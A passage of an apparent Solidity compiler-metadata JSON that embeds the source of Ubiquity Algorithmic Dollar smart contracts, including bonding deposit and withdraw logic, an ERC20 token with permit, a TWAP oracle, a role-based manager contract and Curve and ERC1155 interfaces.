override onlyBondingManager {\\n _sendDust(_to, _token, _amount);\\n }\\n\\n function setSablier(address _sablier) external onlyBondingManager {\\n sablier = ISablier(_sablier);\\n emit SablierUpdated(_sablier);\\n }\\n\\n function setBondingDiscountMultiplier(uint256 _bondingDiscountMultiplier)\\n external\\n onlyBondingManager\\n {\\n bondingDiscountMultiplier = _bondingDiscountMultiplier;\\n emit BondingDiscountMultiplierUpdated(_bondingDiscountMultiplier);\\n }\\n\\n function setRedeemStreamTime(uint256 _redeemStreamTime)\\n external\\n onlyBondingManager\\n {\\n redeemStreamTime = _redeemStreamTime;\\n emit RedeemStreamTimeUpdated(_redeemStreamTime);\\n }\\n\\n function setBlockRonding(uint256 _blockRonding)\\n external\\n onlyBondingManager\\n {\\n blockRonding = _blockRonding;\\n emit BlockRondingUpdated(_blockRonding);\\n }\\n\\n function setBlockCountInAWeek(uint256 _blockCountInAWeek)\\n external\\n onlyBondingManager\\n {\\n blockCountInAWeek = _blockCountInAWeek;\\n emit BlockCountInAWeekUpdated(_blockCountInAWeek);\\n }\\n\\n function setUGOVPerBlock(uint256 _uGOVPerBlock)\\n external\\n onlyBondingManager\\n {\\n uGOVPerBlock = _uGOVPerBlock;\\n emit UGOVPerBlockUpdated(_uGOVPerBlock);\\n }\\n\\n /// @dev deposit uAD-3CRV LP tokens for a duration to receive bonding shares\\n /// @param _lpsAmount of LP token to send\\n /// @param _weeks during lp token will be held\\n /// @notice weeks act as a multiplier for the amount of bonding shares to be received\\n function deposit(uint256 _lpsAmount, uint256 _weeks)\\n public\\n returns (uint256 _id)\\n {\\n require(\\n 1 <= _weeks && _weeks <= 208,\\n \\\"Bonding: duration must be between 1 and 208 weeks\\\"\\n );\\n _updateOracle();\\n\\n IERC20(manager.stableSwapMetaPoolAddress()).safeTransferFrom(\\n msg.sender,\\n address(this),\\n _lpsAmount\\n );\\n\\n uint256 _sharesAmount =\\n IUbiquityFormulas(manager.formulasAddress()).durationMultiply(\\n _lpsAmount,\\n _weeks,\\n bondingDiscountMultiplier\\n );\\n\\n // 1 week = 45361 blocks = 2371753*7/366\\n // n = (block + duration * 45361)\\n // id = n - n % blockRonding\\n // blockRonding = 100 => 2 ending zeros\\n uint256 n = block.number + _weeks * blockCountInAWeek;\\n _id = n - (n % blockRonding);\\n _mint(_sharesAmount, _id);\\n // set masterchef for uGOV rewards\\n IMasterChef(manager.masterChefAddress()).deposit(\\n _sharesAmount,\\n msg.sender\\n );\\n }\\n\\n /// @dev withdraw an amount of uAD-3CRV LP tokens\\n /// @param _sharesAmount of bonding shares of type _id to be withdrawn\\n /// @param _id bonding shares id\\n /// @notice bonding shares are ERC1155 (aka NFT) because they have an expiration date\\n function withdraw(uint256 _sharesAmount, uint256 _id) public {\\n require(\\n block.number > _id,\\n \\\"Bonding: Redeem not allowed before bonding time\\\"\\n );\\n\\n require(\\n IERC1155Ubiquity(manager.bondingShareAddress()).balanceOf(\\n msg.sender,\\n _id\\n ) >= _sharesAmount,\\n \\\"Bonding: caller does not have enough shares\\\"\\n );\\n\\n _updateOracle();\\n // get masterchef for uGOV rewards To ensure correct computation\\n // it needs to be done BEFORE burning the shares\\n IMasterChef(manager.masterChefAddress()).withdraw(\\n _sharesAmount,\\n msg.sender\\n );\\n\\n uint256 _currentShareValue = currentShareValue();\\n\\n IERC1155Ubiquity(manager.bondingShareAddress()).burn(\\n msg.sender,\\n _id,\\n _sharesAmount\\n );\\n\\n // if (redeemStreamTime == 0) {\\n IERC20(manager.stableSwapMetaPoolAddress()).safeTransfer(\\n msg.sender,\\n IUbiquityFormulas(manager.formulasAddress()).redeemBonds(\\n _sharesAmount,\\n _currentShareValue,\\n ONE\\n )\\n );\\n }\\n\\n function currentShareValue() public view returns (uint256 priceShare) {\\n uint256 totalLP =\\n IERC20(manager.stableSwapMetaPoolAddress()).balanceOf(\\n address(this)\\n );\\n\\n uint256 totalShares =\\n IERC1155Ubiquity(manager.bondingShareAddress()).totalSupply();\\n\\n priceShare = IUbiquityFormulas(manager.formulasAddress()).bondPrice(\\n totalLP,\\n totalShares,\\n ONE\\n );\\n }\\n\\n function currentTokenPrice() public view returns (uint256) {\\n return\\n ITWAPOracle(manager.twapOracleAddress()).consult(\\n manager.dollarTokenAddress()\\n );\\n }\\n\\n function _mint(uint256 _sharesAmount, uint256 _id) internal {\\n uint256 _currentShareValue = currentShareValue();\\n require(\\n _currentShareValue != 0,\\n \\\"Bonding: share value should not be null\\\"\\n );\\n\\n IERC1155Ubiquity(manager.bondingShareAddress()).mint(\\n msg.sender,\\n _id,\\n _sharesAmount,\\n data\\n );\\n }\\n\\n function _updateOracle() internal {\\n ITWAPOracle(manager.twapOracleAddress()).update();\\n }\\n}\\n\",\"keccak256\":\"0x763170f76a6f25a68e0d58b4b4049968281858a1a9526b227f19881a76c13e38\",\"license\":\"MIT\"},\"contracts/ERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/IERC20Ubiquity.sol\\\";\\n\\n/// @title ERC20 Ubiquity preset\\n/// @author Ubiquity Algorithmic Dollar\\n/// @notice ERC20 with :\\n/// - ERC20 minter, burner and pauser\\n/// - draft-ERC20 permit\\n/// - Ubiquity Manager access control\\ncontract ERC20Ubiquity is IERC20Ubiquity, ERC20, ERC20Burnable, ERC20Pausable {\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n // solhint-disable-next-line var-name-mixedcase\\n bytes32 public DOMAIN_SEPARATOR;\\n // keccak256(\\\"Permit(address owner,address spender,\\n // uint256 value,uint256 nonce,uint256 deadline)\\\");\\n bytes32 public constant PERMIT_TYPEHASH =\\n 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;\\n mapping(address => uint256) public nonces;\\n string private _tokenName;\\n string private _symbol;\\n\\n // ----------- Modifiers -----------\\n modifier onlyMinter() {\\n require(\\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\\n \\\"Governance token: not minter\\\"\\n );\\n _;\\n }\\n\\n modifier onlyBurner() {\\n require(\\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\\n \\\"Governance token: not burner\\\"\\n );\\n _;\\n }\\n\\n modifier onlyPauser() {\\n require(\\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\\n \\\"Governance token: not pauser\\\"\\n );\\n _;\\n }\\n\\n modifier onlyAdmin() {\\n require(\\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\\n \\\"ERC20: deployer must be manager admin\\\"\\n );\\n _;\\n }\\n\\n constructor(\\n address _manager,\\n string memory name_,\\n string memory symbol_\\n ) ERC20(name_, symbol_) {\\n _tokenName = name_;\\n _symbol = symbol_;\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n // sender must be UbiquityAlgorithmicDollarManager roleAdmin\\n // because he will get the admin, minter and pauser role on uAD and we want to\\n // manage all permissions through the manager\\n require(\\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\\n \\\"ERC20: deployer must be manager admin\\\"\\n );\\n uint256 chainId;\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n chainId := chainid()\\n }\\n\\n DOMAIN_SEPARATOR = keccak256(\\n abi.encode(\\n keccak256(\\n // solhint-disable-next-line max-line-length\\n \\\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\\\"\\n ),\\n keccak256(bytes(name())),\\n keccak256(bytes(\\\"1\\\")),\\n chainId,\\n address(this)\\n )\\n );\\n }\\n\\n /// @notice setSymbol update token symbol\\n /// @param newSymbol new token symbol\\n function setSymbol(string memory newSymbol) external onlyAdmin {\\n _symbol = newSymbol;\\n }\\n\\n /// @notice setName update token name\\n /// @param newName new token name\\n function setName(string memory newName) external onlyAdmin {\\n _tokenName = newName;\\n }\\n\\n /// @notice permit spending of uAD. owner has signed a message allowing\\n /// spender to transfer up to amount uAD\\n /// @param owner the uAD holder\\n /// @param spender the approved operator\\n /// @param value the amount approved\\n /// @param deadline the deadline after which the approval is no longer valid\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external override {\\n // solhint-disable-next-line not-rely-on-time\\n require(deadline >= block.timestamp, \\\"Dollar: EXPIRED\\\");\\n bytes32 digest =\\n keccak256(\\n abi.encodePacked(\\n \\\"\\\\x19\\\\x01\\\",\\n DOMAIN_SEPARATOR,\\n keccak256(\\n abi.encode(\\n PERMIT_TYPEHASH,\\n owner,\\n spender,\\n value,\\n nonces[owner]++,\\n deadline\\n )\\n )\\n )\\n );\\n address recoveredAddress = ecrecover(digest, v, r, s);\\n require(\\n recoveredAddress != address(0) && recoveredAddress == owner,\\n \\\"Dollar: INVALID_SIGNATURE\\\"\\n );\\n _approve(owner, spender, value);\\n }\\n\\n /// @notice burn UAD tokens from caller\\n /// @param amount the amount to burn\\n function burn(uint256 amount)\\n public\\n override(ERC20Burnable, IERC20Ubiquity)\\n whenNotPaused\\n {\\n super.burn(amount);\\n emit Burning(msg.sender, amount);\\n }\\n\\n /// @notice burn uAD tokens from specified account\\n /// @param account the account to burn from\\n /// @param amount the amount to burn\\n function burnFrom(address account, uint256 amount)\\n public\\n override(ERC20Burnable, IERC20Ubiquity)\\n onlyBurner\\n whenNotPaused // to suppress ? if BURNER_ROLE should do it even paused ?\\n {\\n _burn(account, amount);\\n emit Burning(account, amount);\\n }\\n\\n // @dev Creates `amount` new tokens for `to`.\\n function mint(address to, uint256 amount)\\n public\\n override\\n onlyMinter\\n whenNotPaused\\n {\\n _mint(to, amount);\\n emit Minting(to, msg.sender, amount);\\n }\\n\\n // @dev Pauses all token transfers.\\n function pause() public onlyPauser {\\n _pause();\\n }\\n\\n // @dev Unpauses all token transfers.\\n function unpause() public onlyPauser {\\n _unpause();\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view override(ERC20) returns (string memory) {\\n return _tokenName;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view override(ERC20) returns (string memory) {\\n return _symbol;\\n }\\n\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual override(ERC20, ERC20Pausable) {\\n super._beforeTokenTransfer(from, to, amount);\\n }\\n\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal virtual override whenNotPaused {\\n super._transfer(sender, recipient, amount);\\n }\\n}\\n\",\"keccak256\":\"0x131a8776645c08696d9aa7c4ff1d6c1bd69a899f67392556b64c6b9de7e302da\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IIncentive.sol\\\";\\nimport \\\"./ERC20Ubiquity.sol\\\";\\n\\ncontract UbiquityAlgorithmicDollar is ERC20Ubiquity {\\n /// @notice get associated incentive contract, 0 address if N/A\\n mapping(address => address) public incentiveContract;\\n\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n constructor(address _manager)\\n ERC20Ubiquity(_manager, \\\"Ubiquity Algorithmic Dollar\\\", \\\"uAD\\\")\\n {} // solhint-disable-line no-empty-blocks\\n\\n /// @param account the account to incentivize\\n /// @param incentive the associated incentive contract\\n /// @notice only UAD manager can set Incentive contract\\n function setIncentiveContract(address account, address incentive) external {\\n require(\\n ERC20Ubiquity.manager.hasRole(\\n ERC20Ubiquity.manager.UBQ_TOKEN_MANAGER_ROLE(),\\n msg.sender\\n ),\\n \\\"Dollar: must have admin role\\\"\\n );\\n\\n incentiveContract[account] = incentive;\\n emit IncentiveContractUpdate(account, incentive);\\n }\\n\\n function _checkAndApplyIncentives(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal {\\n // incentive on sender\\n address senderIncentive = incentiveContract[sender];\\n if (senderIncentive != address(0)) {\\n IIncentive(senderIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // incentive on recipient\\n address recipientIncentive = incentiveContract[recipient];\\n if (recipientIncentive != address(0)) {\\n IIncentive(recipientIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // incentive on operator\\n address operatorIncentive = incentiveContract[msg.sender];\\n if (\\n msg.sender != sender &&\\n msg.sender != recipient &&\\n operatorIncentive != address(0)\\n ) {\\n IIncentive(operatorIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // all incentive, if active applies to every transfer\\n address allIncentive = incentiveContract[address(0)];\\n if (allIncentive != address(0)) {\\n IIncentive(allIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n }\\n\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal override {\\n super._transfer(sender, recipient, amount);\\n _checkAndApplyIncentives(sender, recipient, amount);\\n }\\n}\\n\",\"keccak256\":\"0xbbde4f7cf669cadae6c303b45c640d12da3cd6e97557c188e2f5cc27b3b7fd4c\",\"license\":\"MIT\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool =\\n ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount =\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\\n uint256 uADTokenAmount =\\n IERC20(dollarTokenAddress).balanceOf(address(this));\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts =\\n [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0xc86d80999cdfecfd7228760b8f80d76a9081b40e00b978ac9ae7021a46db56d9\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC1155Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\\\";\\n\\n/// @title ERC1155 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC1155Ubiquity is IERC1155 {\\n function mint(\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) external;\\n\\n function mintBatch(\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) external;\\n\\n function burn(\\n address account,\\n uint256 id,\\n uint256 value\\n ) external;\\n\\n function burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory values\\n ) external;\\n\\n function pause() external;\\n\\n function unpause() external;\\n\\n function totalSupply() external view returns (uint256);\\n\\n function exists(uint256 id) external view returns (bool);\\n\\n function holderTokens() external view returns (uint256[] memory);\\n}\\n\",\"keccak256\":\"0x49a2cea3597a289be6297d1881a582842a021fbb69ee6703cfd74809d0e640af\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 